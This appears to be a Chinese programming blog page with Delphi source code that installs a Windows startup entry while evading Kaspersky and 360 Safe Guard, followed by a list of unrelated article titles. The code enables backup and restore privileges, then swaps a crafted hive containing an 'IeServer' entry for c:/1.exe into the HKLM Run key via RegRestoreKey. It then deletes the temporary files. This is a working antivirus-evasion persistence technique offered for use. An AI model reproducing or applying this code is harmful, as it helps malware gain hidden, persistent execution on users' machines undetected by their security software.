procedure SetPrivilege;
const
  ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
  SHTDWN_PRIV = 'SeBackupPrivilege';
      //SeBackupPrivilege 备份文件和目录。
      //允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API时才检查这个特
      //权。默认情况下,这个特权分配给Administrators和Backup Operators。
  PRIV_SIZE = sizeOf(TTokenPrivileges);
var
  TokenPriv, Dummy: TTokenPrivileges;
  Token: THandle;
  Len: DWORD;
begin
  OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
  LookupPrivilegeValue(nil, SHTDWN_PRIV, TokenPriv.Privileges[0].Luid);
  TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  TokenPriv.PrivilegeCount := 1;
  AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE, Dummy, Len);
end;

procedure SetPrivilege2;
var
  TPPrev, TP: TTokenPrivileges;
  TokenHandle: THandle;
  dwRetLen: DWORD;
  lpLuid: TLargeInteger;
begin
  OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);
  if (LookupPrivilegeValue(nil, 'SeRestorePrivilege', lpLuid)) then
      //SeRestorePrivilege
      //恢复文件和目录。
      //允许用户绕过文件及目录权限来恢复备份文件。默认情况下Administrators和Backup
  begin
    TP.PrivilegeCount := 1;
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    TP.Privileges[0].Luid := lpLuid;
    AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);

end;
  CloseHandle(TokenHandle);
end;

function addreg(key: Hkey; subkey, name, value: string): boolean;
var
  regkey: hkey;
begin
  result := false;
  RegCreateKey(key, PChar(subkey), regkey);
  if
    RegSetValueEx(regkey, Pchar(name), 0, REG_EXPAND_SZ, pchar(value), length(value))
    = 0 then
    result := true;
  RegCloseKey(regkey);
end;

function SaveKey2(key: integer; subkey, filename: string): Boolean;
var
  SKey: HKEY;
begin
  SetPrivilege;
  Result := false;
  if key = 1 then begin
    RegOpenKey(HKEY_CURRENT_USER, PChar(subkey), SKey);
  end
  else
  begin
    RegOpenKey(HKEY_LOCAL_MACHINE, PChar(subkey), SKey);
  end;
  if SKey <> 0 then
  try
    Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
  finally
    RegCloseKey(SKey);
  end;
end;

procedure regstore2(key: integer; subkey, hfile: string);
var
  key2: hkey;
begin
  SetPrivilege2;
  if key = 1 then
  begin
    RegOpenKey(HKEY_CURRENT_USER, PChar(subkey), key2)
  end
  else begin
    RegOpenKey(HKEY_LOCAL_MACHINE, PChar(subkey), key2);
  end;
  if key2 <> 0 then RegRestoreKey(key2, PChar(hfile), 8);
  RegCloseKey(key2);
end;

procedure regstore(exefile: string);
var
  key: HKEY;
  I: Integer;
begin
  SaveKey2(2, PChar('SOFTWARE/Microsoft/Windows/CurrentVersion/Run'), 'c:/1.abc');

RegCreateKey(HKEY_CURRENT_USER, PChar('Software/fengzi'), key);
  for i := 1 to 5 do
    regstore2(1, 'Software/fengzi', 'c:/1.abc');
  addreg(HKEY_CURRENT_USER, 'Software/fengzi', 'IeServer', exefile);

SaveKey2(1, PChar('Software/fengzi'), 'c:/2.abc');
  for i := 1 to 5 do
    regstore2(2, PChar('SOFTWARE/Microsoft/Windows/CurrentVersion/Run'), 'c:/2.abc');

RegDeleteKey(HKEY_CURRENT_USER, 'Software/fengzi');
  RegCloseKey(key);
  DeleteFile('c:/1.abc');
  DeleteFile('c:/2.abc');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  regstore('c:/1.exe');
end;

写程序启动项时如何过卡巴与360安全卫士等软件的方法相关推荐

  1. Linux菜单栏添加程序启动项

    系统程序启动项以.desktop文件形式存存储于/usr/share/applications/.例如:  /usr/share/applications/firefox.desktop  内容如下 ...

  2. Ubuntu 12.04 创建应用程序启动项(可在Unity LaucherPad显示)

    具体步骤: Setp1: sudo gedit eclipse.desktop // eclipse为应用程序名,应用程序启动项的后缀名为.desktop   Step2: 在上一步打开的eclips ...

  3. 天正启动时加载那些lisp_天正启动时加载那些lisp_启动CAD时自动加载Lisp的工具和插件的方法?...

    互联网上有许多非常有用的CAD插件,可以为绘图带来很多便利. 这些工具可以在手动加载后执行,但是每次使用它们都麻烦. 启动软件时,您可以加载常用插件吗? 当然,有不止一种方法. 方法1:添加到启动组 ...

  4. 天正启动时加载那些lisp_启动CAD时自动加载Lisp的工具和插件的方法?

    互联网上有许多非常有用的CAD插件,可以为绘图带来很多便利. 这些工具可以在手动加载后执行,但是每次使用它们都麻烦. 启动软件时,您可以加载常用插件吗? 当然,有不止一种方法. 方法1:添加到启动组 ...

  5. 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法

    启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 参考文章: (1)启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 (2)https://www.cnbl ...

  6. win7关闭开机启动项_电脑开机非常慢?原来是有软件偷偷自启动,教你一招彻底关闭它们...

    不知道你们的电脑是不是也会这样,每次刚刚开机的时候,电脑都会非常卡,你点那里都没反应,如果电脑配置差一些,甚至需要过好一会才能进行操作.那么为什么会出现这种情况呢?又该如何解决呢?今天小源来告诉你答案 ...

  7. 程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法

    程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法 参考文章: (1)程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法 (2)https://www.cnblogs. ...

  8. C++ 写开机启动项的注册表

    BOOL SetAutoRun(CString strPath)//开机自动运行 { CString str; HKEY hRegKey; BOOL bResult; str=_T("Sof ...

  9. 修改注册表设置程序启动项

    Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\R ...

最新文章

  1. 如何管理好自己的性格?
  2. 笔记 JVM调优流程
  3. 2019人工智能的“领头羊”会是?
  4. justify-content与align-items解析
  5. T-SQL自定义函数返回前一天或后一天日期
  6. weblogic管理2 - 创建并启动一个managed server
  7. mongoDB研究笔记:分片集群的工作机制
  8. gzip android,怎么在Android系统中使用gzip进行数据传递
  9. 【POJ 2942】Knights of the Round Table(点双连通分量,二分图染色)
  10. C# 代码中调用 Javascript 代码段以提高应用程序的配置灵活性(使用 Javascript .NET 与 Jint)...
  11. ImageSharp一个专注于NetCore平台图像处理的开源项目
  12. python中lines是什么类型_Python中splitlines()方法的使用简介
  13. 【转载】使用缓存的9个误区(上)
  14. 【Java并发编程的艺术】第二章读书笔记之原子操作
  15. Android 友盟分享(截图指定的View分享)
  16. 易读文库下载器1.2版发布
  17. 公元纪年法(儒略历-格里高历)转儒略日
  18. win7资源管理器总是崩溃
  19. 第一讲:计算机基本结构
  20. NetSuite 未实现汇兑损益

热门文章

  1. 【小波分析】二、小波分析基础知识
  2. Redis存储Java对象方案
  3. python测试rpc接口_python使用grpc调用rpc接口
  4. SPI、I2C、UART(即串口)三种串行总线详解
  5. 勉怀尽忠职守的ningning-我家可爱的小狗狗
  6. 嵌入式系统架构浅谈:硬件的选型(一) -------主控芯片
  7. 【编译打包】teamtalk 在CentOS 7 上的安装
  8. CentOS 6 kickstart 部署脚本
  9. GBL610-ASEMI适配高端电源桥堆GBL610
  10. 对正在打野发育的红队同学的一次反制